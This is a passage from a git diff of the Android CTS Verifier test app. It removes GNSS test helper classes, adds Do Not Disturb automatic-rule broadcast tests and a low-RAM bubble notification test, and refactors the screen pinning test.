- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.cts.verifier.location.base;
-
-import junit.framework.Test;
-import junit.framework.TestResult;
-import junit.framework.TestSuite;
-
-import android.content.Context;
-
-import java.util.Enumeration;
-
-/**
- * A wrapper class for a {@link TestSuite}.
- *
- * It provides a way to inject a {@link GnssCtsTestResult} during execution.
- */
-public class GnssCtsTestSuite extends TestSuite {
- private final Context mContext;
- private final TestSuite mWrappedTestSuite;
-
- public GnssCtsTestSuite(Context context, TestSuite testSuite) {
- mContext = context;
- mWrappedTestSuite = testSuite;
- }
-
- @Override
- public void run(TestResult testResult) {
- mWrappedTestSuite.run(new GnssCtsTestResult(mContext, testResult));
- }
-
- @Override
- public void addTest(Test test) {
- mWrappedTestSuite.addTest(test);
- }
-
- @Override
- public int countTestCases() {
- return mWrappedTestSuite.countTestCases();
- }
-
- @Override
- public String getName() {
- return mWrappedTestSuite.getName();
- }
-
- @Override
- public void runTest(Test test, TestResult testResult) {
- mWrappedTestSuite.runTest(test, testResult);
- }
-
- @Override
- public void setName(String name) {
- mWrappedTestSuite.setName(name);
- }
-
- @Override
- public Test testAt(int index) {
- return mWrappedTestSuite.testAt(index);
- }
-
- @Override
- public int testCount() {
- return mWrappedTestSuite.testCount();
- }
-
- @Override
- public Enumeration<Test> tests() {
- return mWrappedTestSuite.tests();
- }
-
- @Override
- public String toString() {
- return mWrappedTestSuite.toString();
- }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/IGnssTestStateContainer.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/base/IGnssTestStateContainer.java
deleted file mode 100644
index 498c599..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/IGnssTestStateContainer.java
+++ /dev/null
@@ -1,68 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.cts.verifier.location.base;
-
-import android.content.ContentResolver;
-import android.content.Intent;
-
-/**
- * An interface that defines a facade for {@link BaseGnssTestActivity}, so it can be consumed by
- * other CtsVerifier Sensor Test Framework helper components.
- */
-public interface IGnssTestStateContainer {
-
- /**
- * Waits for the operator to acknowledge to continue execution.
- */
- void waitForUserToContinue() throws InterruptedException;
-
- /**
- * @param resId The resource Id to extract.
- * @return The extracted string.
- */
- String getString(int resId);
-
- /**
- * @param resId The resource Id to extract.
- * @param params The parameters to format the string represented by the resource contents.
- * @return The formatted extracted string.
- */
- String getString(int resId, Object... params);
-
- /**
- * Starts an Activity and blocks until it completes, then it returns its result back to the
- * client.
- *
- * @param action The action to start the Activity.
- * @return The Activity's result code.
- */
- int executeActivity(String action) throws InterruptedException;
-
- /**
- * Starts an Activity and blocks until it completes, then it returns its result back to the
- * client.
- *
- * @param intent The intent to start the Activity.
- * @return The Activity's result code.
- */
- int executeActivity(Intent intent) throws InterruptedException;
-
- /**
- * @return The {@link ContentResolver} associated with the test.
- */
- ContentResolver getContentResolver();
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/reporting/GnssTestDetails.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/reporting/GnssTestDetails.java
deleted file mode 100644
index ea04123..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/reporting/GnssTestDetails.java
+++ /dev/null
@@ -1,109 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.cts.verifier.location.reporting;
-
-import com.android.cts.verifier.R;
-
-import org.junit.runner.Result;
-
-import android.content.Context;
-
-/**
- * A class that holds the result of a Gnss test execution.
- */
-public class GnssTestDetails {
- private final String mName;
- private final ResultCode mResultCode;
- private final String mSummary;
-
- public enum ResultCode {
- SKIPPED,
- PASS,
- FAIL,
- INTERRUPTED
- }
-
- public GnssTestDetails(String name, ResultCode resultCode) {
- this(name, resultCode, null /* summary */);
- }
-
- public GnssTestDetails(String name, ResultCode resultCode, String summary) {
- mName = name;
- mResultCode = resultCode;
- mSummary = summary;
- }
-
- public GnssTestDetails(
- Context context,
- String name,
- int passCount,
- int skipCount,
- int failCount) {
- ResultCode resultCode = ResultCode.PASS;
- if (failCount > 0) {
- resultCode = ResultCode.FAIL;
- } else if (skipCount > 0) {
- resultCode = ResultCode.SKIPPED;
- }
-
- mName = name;
- mResultCode = resultCode;
- mSummary = context.getString(R.string.snsr_test_summary, passCount, skipCount, failCount);
- }
-
- public GnssTestDetails(Context context, String name, Result result) {
- this(context,
- name,
- result.getRunCount() - result.getFailureCount() - result.getIgnoreCount(),
- result.getIgnoreCount(),
- result.getFailureCount());
- }
-
- public GnssTestDetails(String name, String tag, Throwable cause) {
- ResultCode resultCode = ResultCode.FAIL;
- if (cause instanceof InterruptedException) {
- resultCode = ResultCode.INTERRUPTED;
- // the interrupted status must be restored, so other routines can consume it
- Thread.currentThread().interrupt();
- }
- mName = name;
- mResultCode = resultCode;
- mSummary = String.format("[%s] %s", tag, cause.getMessage());
- }
-
- public String getName() {
- return mName;
- }
-
- public ResultCode getResultCode() {
- return mResultCode;
- }
-
- public String getSummary() {
- return mSummary;
- }
-
- public GnssTestDetails cloneAndChangeResultCode(ResultCode resultCode) {
- return new GnssTestDetails(mName, resultCode, mSummary);
- }
-
- @Override
- public String toString() {
- return String.format("%s|%s|%s", mName, mResultCode.name(), mSummary);
- }
-}
-
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AutomaticZenRuleStatusReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AutomaticZenRuleStatusReceiver.java
new file mode 100644
index 0000000..9194cf1
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AutomaticZenRuleStatusReceiver.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.notifications;
+
+import static android.app.NotificationManager.ACTION_AUTOMATIC_ZEN_RULE_STATUS_CHANGED;
+import static android.app.NotificationManager.AUTOMATIC_RULE_STATUS_UNKNOWN;
+import static android.app.NotificationManager.EXTRA_AUTOMATIC_ZEN_RULE_STATUS;
+
+import android.app.NotificationManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.util.Log;
+
+public class AutomaticZenRuleStatusReceiver extends BroadcastReceiver {
+ private static final String TAG = "AZRReceiver";
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ SharedPreferences prefs = context.getSharedPreferences(
+ ConditionProviderVerifierActivity.PREFS, Context.MODE_PRIVATE);
+ SharedPreferences.Editor editor = prefs.edit();
+ if (ACTION_AUTOMATIC_ZEN_RULE_STATUS_CHANGED.equals(intent.getAction())) {
+ String id = intent.getStringExtra(
+ NotificationManager.EXTRA_AUTOMATIC_ZEN_RULE_ID);
+ int status = intent.getIntExtra(EXTRA_AUTOMATIC_ZEN_RULE_STATUS,
+ AUTOMATIC_RULE_STATUS_UNKNOWN);
+ Log.d(TAG, "Got broadcast for rule status change: " + id + " " + status);
+ editor.putInt(id, status);
+ editor.commit();
+ }
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BlockChangeReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BlockChangeReceiver.java
index 084e907..454b5d2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BlockChangeReceiver.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BlockChangeReceiver.java
@@ -1,3 +1,19 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
package com.android.cts.verifier.notifications;
import static android.app.NotificationManager.ACTION_APP_BLOCK_STATE_CHANGED;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
index 3dc41e6..8760ef8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
@@ -34,7 +34,6 @@
import android.view.ViewGroup;
import android.widget.Button;
import android.widget.TextView;
-import android.widget.Toast;
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
@@ -103,9 +102,14 @@
runNextTestOrShowSummary();
});
+ // Make sure they're enabled
+ mTests.add(new EnableBubbleTest());
+
ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
- if (!am.isLowRamDevice()) {
- mTests.add(new EnableBubbleTest());
+ if (am.isLowRamDevice()) {
+ // Bubbles don't occur on low ram, instead they just show as notifs so test that
+ mTests.add(new LowRamBubbleTest());
+ } else {
mTests.add(new SendBubbleTest());
mTests.add(new SuppressNotifTest());
mTests.add(new AddNotifTest());
@@ -115,10 +119,6 @@
mTests.add(new DismissBubbleTest());
mTests.add(new DismissNotificationTest());
mTests.add(new AutoExpandBubbleTest());
- } else {
- Toast.makeText(getApplicationContext(),
- getResources().getString(R.string.bubbles_notification_no_bubbles_low_mem),
- Toast.LENGTH_LONG).show();
}
setPassFailButtonClickListeners();
@@ -462,6 +462,32 @@
}
}
+ private class LowRamBubbleTest extends BubblesTestStep {
+ @Override
+ public int getButtonText() {
+ return R.string.bubbles_notification_test_button_10;
+ }
+
+ @Override
+ public int getTestTitle() {
+ return R.string.bubbles_notification_test_title_10;
+ }
+
+ @Override
+ public int getTestDescription() {
+ return R.string.bubbles_notification_test_verify_10;
+ }
+
+ @Override
+ public void performTestAction() {
+ Notification.Builder builder =
+ getBasicNotifBuilder("Bubble notification", "Low ram test");
+ builder.setBubbleMetadata(getBasicBubbleBuilder().build());
+
+ mNotificationManager.notify(NOTIFICATION_ID, builder.build());
+ }
+ }
+
/** Creates a minimally filled out {@link android.app.Notification.BubbleMetadata.Builder} */
private Notification.BubbleMetadata.Builder getBasicBubbleBuilder() {
Context context = getApplicationContext();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
index 1b14d2b..bad4639 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
@@ -16,7 +16,12 @@
package com.android.cts.verifier.notifications;
+import static android.app.NotificationManager.AUTOMATIC_RULE_STATUS_DISABLED;
+import static android.app.NotificationManager.AUTOMATIC_RULE_STATUS_ENABLED;
+import static android.app.NotificationManager.AUTOMATIC_RULE_STATUS_REMOVED;
+import static android.app.NotificationManager.AUTOMATIC_RULE_STATUS_UNKNOWN;
import static android.app.NotificationManager.INTERRUPTION_FILTER_PRIORITY;
+import static android.provider.Settings.EXTRA_APP_PACKAGE;
import android.app.ActivityManager;
import android.app.AutomaticZenRule;
@@ -24,6 +29,7 @@
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
+import android.content.SharedPreferences;
import android.net.Uri;
import android.provider.Settings;
import android.service.notification.ZenPolicy;
@@ -31,6 +37,7 @@
import android.util.Log;
import android.view.View;
import android.view.ViewGroup;
+import android.widget.Button;
import com.android.cts.verifier.R;
@@ -41,10 +48,14 @@
public class ConditionProviderVerifierActivity extends InteractiveVerifierActivity
implements Runnable {
+ private static final String TAG = "CPVerifier";
protected static final String CP_PACKAGE = "com.android.cts.verifier";
protected static final String CP_PATH = CP_PACKAGE +
"/com.android.cts.verifier.notifications.MockConditionProvider";
+ protected static final String PREFS = "zen_prefs";
+ private static final String BROADCAST_RULE_NAME = "123";
+
@Override
protected int getTitleResource() {
return R.string.cp_test;
@@ -73,6 +84,11 @@
tests.add(new UpdateAutomaticZenRuleWithZenPolicyTest());
tests.add(new GetAutomaticZenRuleTest());
tests.add(new GetAutomaticZenRulesTest());
+ tests.add(new VerifyRulesIntent());
+ tests.add(new VerifyRulesAvailableToUsers());
+ tests.add(new ReceiveRuleDisableNoticeTest());
+ tests.add(new ReceiveRuleEnabledNoticeTest());
+ tests.add(new ReceiveRuleDeletedNoticeTest());
tests.add(new SubscribeAutomaticZenRuleTest());
tests.add(new DeleteAutomaticZenRuleTest());
tests.add(new UnsubscribeAutomaticZenRuleTest());
@@ -626,6 +642,292 @@
}
}
+ protected class VerifyRulesIntent extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createSettingsItem(parent, R.string.cp_show_rules);
+ }
+
+ @Override
+ boolean autoStart() {
+ return true;
+ }
+
+ @Override
+ protected void test() {
+ Intent settings = new Intent(Settings.ACTION_CONDITION_PROVIDER_SETTINGS);
+ if (settings.resolveActivity(mPackageManager) == null) {
+ logFail("no settings activity");
+ status = FAIL;
+ } else {
+ if (buttonPressed) {
+ status = PASS;
+ } else {
+ status = RETEST_AFTER_LONG_DELAY;
+ }
+ next();
+ }
+ }
+
+ protected void tearDown() {
+ // wait for the service to start
+ delay();
+ }
+
+ @Override
+ protected Intent getIntent() {
+ return new Intent(Settings.ACTION_CONDITION_PROVIDER_SETTINGS);
+ }
+ }
+
+ protected class VerifyRulesAvailableToUsers extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createPassFailItem(parent, R.string.cp_show_rules_verification);
+ }
+
+ @Override
+ boolean autoStart() {
+ return true;
+ }
+
+ @Override
+ protected void test() {
+ status = WAIT_FOR_USER;
+ next();
+ }
+ }
+
+ /**
+ * Sends the user to settings to disable the rule. Waits to receive the broadcast that the rule
+ * was disabled, and confirms that the broadcast contains the correct extras.
+ */
+ protected class ReceiveRuleDisableNoticeTest extends InteractiveTestCase {
+ private final int EXPECTED_STATUS = AUTOMATIC_RULE_STATUS_DISABLED;
+ private int mRetries = 2;
+ private View mView;
+ private String mId;
+ @Override
+ protected View inflate(ViewGroup parent) {
+ mView = createNlsSettingsItem(parent, R.string.cp_disable_rule);
+ Button button = mView.findViewById(R.id.nls_action_button);
+ button.setEnabled(false);
+ return mView;
+ }
+
+ @Override
+ protected void setUp() {
+ status = READY;
+ // create enabled so it's ready to be disabled in app
+ AutomaticZenRule rule = new AutomaticZenRule(BROADCAST_RULE_NAME, null,
+ new ComponentName(CP_PACKAGE,
+ ConditionProviderVerifierActivity.this.getClass().getName()),
+ Uri.EMPTY, null, INTERRUPTION_FILTER_PRIORITY, true);
+ mId = mNm.addAutomaticZenRule(rule);
+ Button button = mView.findViewById(R.id.nls_action_button);
+ button.setEnabled(true);
+ }
+
+ @Override
+ boolean autoStart() {
+ return true;
+ }
+
+ @Override
+ protected void test() {
+ SharedPreferences prefs = mContext.getSharedPreferences(PREFS, Context.MODE_PRIVATE);
+
+ AutomaticZenRule rule = mNm.getAutomaticZenRule(mId);
+
+ if (!rule.isEnabled()) {
+ Log.d(TAG, "Check pref for broadcast " + prefs.contains(mId)
+ + " " + prefs.getInt(mId, AUTOMATIC_RULE_STATUS_UNKNOWN));
+ if (prefs.contains(mId)
+ && EXPECTED_STATUS == prefs.getInt(mId, AUTOMATIC_RULE_STATUS_UNKNOWN)) {
+ status = PASS;
+ } else {
+ if (mRetries > 0) {
+ mRetries--;
+ status = RETEST;
+ } else {
+ status = FAIL;
+ }
+ }
+ } else {
+ Log.d(TAG, "Waiting for user");
+ // user hasn't jumped to settings yet
+ status = WAIT_FOR_USER;
+ }
+
+ next();
+ }
+
+ protected void tearDown() {
+ mNm.removeAutomaticZenRule(mId);
+ SharedPreferences prefs = mContext.getSharedPreferences(PREFS, Context.MODE_PRIVATE);
+ prefs.edit().clear().commit();
+ }
+
+ @Override
+ protected Intent getIntent() {
+ return new Intent(Settings.ACTION_CONDITION_PROVIDER_SETTINGS)
+ .addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ }
+ }
+
+ /**
+ * Sends the user to settings to enable the rule. Waits to receive the broadcast that the rule
+ * was enabled, and confirms that the broadcast contains the correct extras.
+ */
+ protected class ReceiveRuleEnabledNoticeTest extends InteractiveTestCase {
+ private final int EXPECTED_STATUS = AUTOMATIC_RULE_STATUS_ENABLED;
+ private int mRetries = 2;
+ private View mView;
+ private String mId;
+ @Override
+ protected View inflate(ViewGroup parent) {
+ mView = createNlsSettingsItem(parent, R.string.cp_enable_rule);
+ Button button = mView.findViewById(R.id.nls_action_button);
+ button.setEnabled(false);
+ return mView;
+ }
+
+ @Override
+ protected void setUp() {
+ status = READY;
+ // create disabled so it's ready to be enabled in Settings
+ AutomaticZenRule rule = new AutomaticZenRule(BROADCAST_RULE_NAME, null,
+ new ComponentName(CP_PACKAGE,
+ ConditionProviderVerifierActivity.this.getClass().getName()),
+ Uri.EMPTY, null, INTERRUPTION_FILTER_PRIORITY, false);
+ mId = mNm.addAutomaticZenRule(rule);
+ Button button = mView.findViewById(R.id.nls_action_button);
+ button.setEnabled(true);
+ }
+
+ @Override
+ boolean autoStart() {
+ return true;
+ }
+
+ @Override
+ protected void test() {
+ SharedPreferences prefs = mContext.getSharedPreferences(PREFS, Context.MODE_PRIVATE);
+
+ AutomaticZenRule rule = mNm.getAutomaticZenRule(mId);
+
+ if (rule.isEnabled()) {
+ Log.d(TAG, "Check pref for broadcast " + prefs.contains(mId)
+ + " " + prefs.getInt(mId, AUTOMATIC_RULE_STATUS_UNKNOWN));
+ if (prefs.contains(mId)
+ && EXPECTED_STATUS == prefs.getInt(mId, AUTOMATIC_RULE_STATUS_UNKNOWN)) {
+ status = PASS;
+ } else {
+ if (mRetries > 0) {
+ mRetries--;
+ status = RETEST;
+ } else {
+ status = FAIL;
+ }
+ }
+ } else {
+ Log.d(TAG, "Waiting for user");
+ // user hasn't jumped to settings yet
+ status = WAIT_FOR_USER;
+ }
+
+ next();
+ }
+
+ protected void tearDown() {
+ mNm.removeAutomaticZenRule(mId);
+ SharedPreferences prefs = mContext.getSharedPreferences(PREFS, Context.MODE_PRIVATE);
+ prefs.edit().clear().commit();
+ }
+
+ @Override
+ protected Intent getIntent() {
+ return new Intent(Settings.ACTION_CONDITION_PROVIDER_SETTINGS)
+ .addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ }
+ }
+
+ /**
+ * Sends the user to settings to delete the rule. Waits to receive the broadcast that the rule
+ * was deleted, and confirms that the broadcast contains the correct extras.
+ */
+ protected class ReceiveRuleDeletedNoticeTest extends InteractiveTestCase {
+ private final int EXPECTED_STATUS = AUTOMATIC_RULE_STATUS_REMOVED;
+ private int mRetries = 2;
+ private View mView;
+ private String mId;
+ @Override
+ protected View inflate(ViewGroup parent) {
+ mView = createNlsSettingsItem(parent, R.string.cp_delete_rule_broadcast);
+ Button button = mView.findViewById(R.id.nls_action_button);
+ button.setEnabled(false);
+ return mView;
+ }
+
+ @Override
+ protected void setUp() {
+ status = READY;
+ AutomaticZenRule rule = new AutomaticZenRule(BROADCAST_RULE_NAME, null,
+ new ComponentName(CP_PACKAGE,
+ ConditionProviderVerifierActivity.this.getClass().getName()),
+ Uri.EMPTY, null, INTERRUPTION_FILTER_PRIORITY, true);
+ mId = mNm.addAutomaticZenRule(rule);
+ Button button = mView.findViewById(R.id.nls_action_button);
+ button.setEnabled(true);
+ }
+
+ @Override
+ boolean autoStart() {
+ return true;
+ }
+
+ @Override
+ protected void test() {
+ SharedPreferences prefs = mContext.getSharedPreferences(PREFS, Context.MODE_PRIVATE);
+
+ AutomaticZenRule rule = mNm.getAutomaticZenRule(mId);
+
+ if (rule == null) {
+ Log.d(TAG, "Check pref for broadcast " + prefs.contains(mId)
+ + " " + prefs.getInt(mId, AUTOMATIC_RULE_STATUS_UNKNOWN));
+ if (prefs.contains(mId)
+ && EXPECTED_STATUS == prefs.getInt(mId, AUTOMATIC_RULE_STATUS_UNKNOWN)) {
+ status = PASS;
+ } else {
+ if (mRetries > 0) {
+ mRetries--;
+ status = RETEST;
+ } else {
+ status = FAIL;
+ }
+ }
+ } else {
+ Log.d(TAG, "Waiting for user");
+ // user hasn't jumped to settings yet
+ status = WAIT_FOR_USER;
+ }
+
+ next();
+ }
+
+ protected void tearDown() {
+ mNm.removeAutomaticZenRule(mId);
+ SharedPreferences prefs = mContext.getSharedPreferences(PREFS, Context.MODE_PRIVATE);
+ prefs.edit().clear().commit();
+ }
+
+ @Override
+ protected Intent getIntent() {
+ return new Intent(Settings.ACTION_CONDITION_PROVIDER_SETTINGS)
+ .addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ }
+ }
+
private class DeleteAutomaticZenRuleTest extends InteractiveTestCase {
private String id1 = null;
private String id2 = null;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
index f1f08ff..296df5d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
@@ -98,6 +98,7 @@
protected int status;
private View view;
protected long delayTime = 3000;
+ boolean buttonPressed;
protected abstract View inflate(ViewGroup parent);
View getView(ViewGroup parent) {
@@ -247,7 +248,7 @@
protected View createUserItem(ViewGroup parent, int actionId, int messageId,
Object... messageFormatArgs) {
View item = mInflater.inflate(R.layout.nls_item, parent, false);
- TextView instructions = (TextView) item.findViewById(R.id.nls_instructions);
+ TextView instructions = item.findViewById(R.id.nls_instructions);
instructions.setText(getString(messageId, messageFormatArgs));
Button button = (Button) item.findViewById(R.id.nls_action_button);
button.setText(actionId);
@@ -255,15 +256,22 @@
return item;
}
- protected View createAutoItem(ViewGroup parent, int stringId) {
+ protected View createAutoItem(ViewGroup parent, int stringId) {
View item = mInflater.inflate(R.layout.nls_item, parent, false);
- TextView instructions = (TextView) item.findViewById(R.id.nls_instructions);
+ TextView instructions = item.findViewById(R.id.nls_instructions);
instructions.setText(stringId);
View button = item.findViewById(R.id.nls_action_button);
button.setVisibility(View.GONE);
return item;
}
+ protected View createPassFailItem(ViewGroup parent, int stringId) {
+ View item = mInflater.inflate(R.layout.iva_pass_fail_item, parent, false);
+ TextView instructions = item.findViewById(R.id.nls_instructions);
+ instructions.setText(stringId);
+ return item;
+ }
+
// Test management
abstract protected List<InteractiveTestCase> createTestItems();
@@ -381,10 +389,25 @@
}
if (mCurrentTest != null) {
mCurrentTest.mUserVerified = true;
+ mCurrentTest.buttonPressed = true;
}
}
}
+ public void actionPassed(View v) {
+ if (mCurrentTest != null) {
+ mCurrentTest.mUserVerified = true;
+ mCurrentTest.status = PASS;
+ next();
+ }
+ }
+
+ public void actionFailed(View v) {
+ if (mCurrentTest != null) {
+ mCurrentTest.setFailed();
+ }
+ }
+
// Utilities
protected PendingIntent makeIntent(int code, String tag) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/screenpinning/ScreenPinningTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/screenpinning/ScreenPinningTestActivity.java
index a6e5f98..180306e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/screenpinning/ScreenPinningTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/screenpinning/ScreenPinningTestActivity.java
@@ -18,78 +18,40 @@
import android.app.ActivityManager;
import android.os.Bundle;
import android.util.Log;
-import android.view.View;
-import android.view.View.OnClickListener;
-import android.widget.Button;
-import android.widget.LinearLayout;
import android.widget.TextView;
-import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.OrderedTestActivity;
import com.android.cts.verifier.R;
-public class ScreenPinningTestActivity extends PassFailButtons.Activity {
+public class ScreenPinningTestActivity extends OrderedTestActivity {
private static final String TAG = "ScreenPinningTestActivity";
- private static final String KEY_CURRENT_TEST = "keyCurrentTest";
private static final long TASK_MODE_CHECK_DELAY = 200;
private static final int MAX_TASK_MODE_CHECK_COUNT = 5;
- private Test[] mTests;
- private int mTestIndex;
-
private ActivityManager mActivityManager;
- private Button mNextButton;
- private LinearLayout mInstructions;
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
- setContentView(R.layout.screen_pinning);
- setPassFailButtonClickListeners();
-
- mTests = new Test[] {
- // Verify not already pinned.
- mCheckStartedUnpinned,
- // Enter pinning, verify pinned, try leaving and have the user exit.
- mCheckStartPinning,
- mCheckIsPinned,
- mCheckTryLeave,
- mCheckUnpin,
- // Enter pinning, verify pinned, and use APIs to exit.
- mCheckStartPinning,
- mCheckIsPinned,
- mCheckUnpinFromCode,
- // All done.
- mDone,
- };
mActivityManager = (ActivityManager) getSystemService(ACTIVITY_SERVICE);
- mInstructions = (LinearLayout) findViewById(R.id.instructions_list);
-
- mNextButton = (Button) findViewById(R.id.next_button);
- mNextButton.setOnClickListener(new OnClickListener() {
- @Override
- public void onClick(View v) {
- if ((mTestIndex >= 0) && (mTestIndex < mTests.length)) {
- mTests[mTestIndex].onNextClick();
- }
- }
- });
-
- // Don't allow pass until all tests complete.
- findViewById(R.id.pass_button).setVisibility(View.GONE);
-
- // Figure out if we are in a test or starting from the beginning.
- if (savedInstanceState != null && savedInstanceState.containsKey(KEY_CURRENT_TEST)) {
- mTestIndex = savedInstanceState.getInt(KEY_CURRENT_TEST);
- } else {
- mTestIndex = 0;
- }
- mTests[mTestIndex].run();
- };
+ }
@Override
- protected void onSaveInstanceState(Bundle outState) {
- outState.putInt(KEY_CURRENT_TEST, mTestIndex);
+ protected Test[] getTests() {
+ return new Test[]{
+ // Verify not already pinned.
+ mCheckStartedUnpinned,
+ // Enter pinning, verify pinned, try leaving and have the user exit.
+ mCheckStartPinning,
+ mCheckIsPinned,
+ mCheckTryLeave,
+ mCheckUnpin,
+ // Enter pinning, verify pinned, and use APIs to exit.
+ mCheckStartPinning,
+ mCheckIsPinned,
+ mCheckUnpinFromCode
+ };
}
@Override
@@ -98,27 +60,8 @@
// Users can still leave by pressing fail (or when done the pass) button.
}
- private void show(int id) {
- TextView tv = new TextView(this);
- tv.setPadding(10, 10, 10, 30);
- tv.setText(id);
- mInstructions.removeAllViews();
- mInstructions.addView(tv);
- }
-
- private void succeed() {
- runOnUiThread(new Runnable() {
- @Override
- public void run() {
- mTestIndex++;
- if (mTestIndex < mTests.length) {
- mTests[mTestIndex].run();
- }
- }
- });
- }
-
- private void error(int errorId) {
+ @Override
+ protected void error(int errorId) {
error(errorId, new Throwable());
}
@@ -128,10 +71,8 @@
public void run() {
String error = getString(errorId);
Log.d(TAG, error, cause);
- // No more instructions needed.
- findViewById(R.id.instructions_group).setVisibility(View.GONE);
- ((TextView) findViewById(R.id.error_text)).setText(error);
+ ((TextView) findViewById(R.id.txt_instruction)).setText(error);
}
});
}
@@ -211,40 +152,6 @@
error(R.string.error_screen_pinning_couldnt_exit);
}
}
- };
+ }
};
-
- private final Test mDone = new Test(R.string.screen_pinning_done) {
- @Override
- protected void run() {
- super.run();
- // On test completion, hide "next" button, and show "pass" button
- // instead.
- mNextButton.setVisibility(View.GONE);
- findViewById(R.id.pass_button).setVisibility(View.VISIBLE);
- };
- };
-
- private abstract class Test {
- private final int mResId;
-
- public Test(int showId) {
- mResId = showId;
- }
-
- protected void run() {
- showText();
- }
-
- public void showText() {
- if (mResId == 0) {
- return;
- }
- show(mResId);
- }
-
- protected void onNextClick() {
- }
- }
-
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenActiveSubscribeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenActiveSubscribeTestActivity.java
index f6afecc..d560702 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenActiveSubscribeTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenActiveSubscribeTestActivity.java
@@ -21,11 +21,12 @@
import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
/**
- * Test activity for data-path, open, passive subscribe
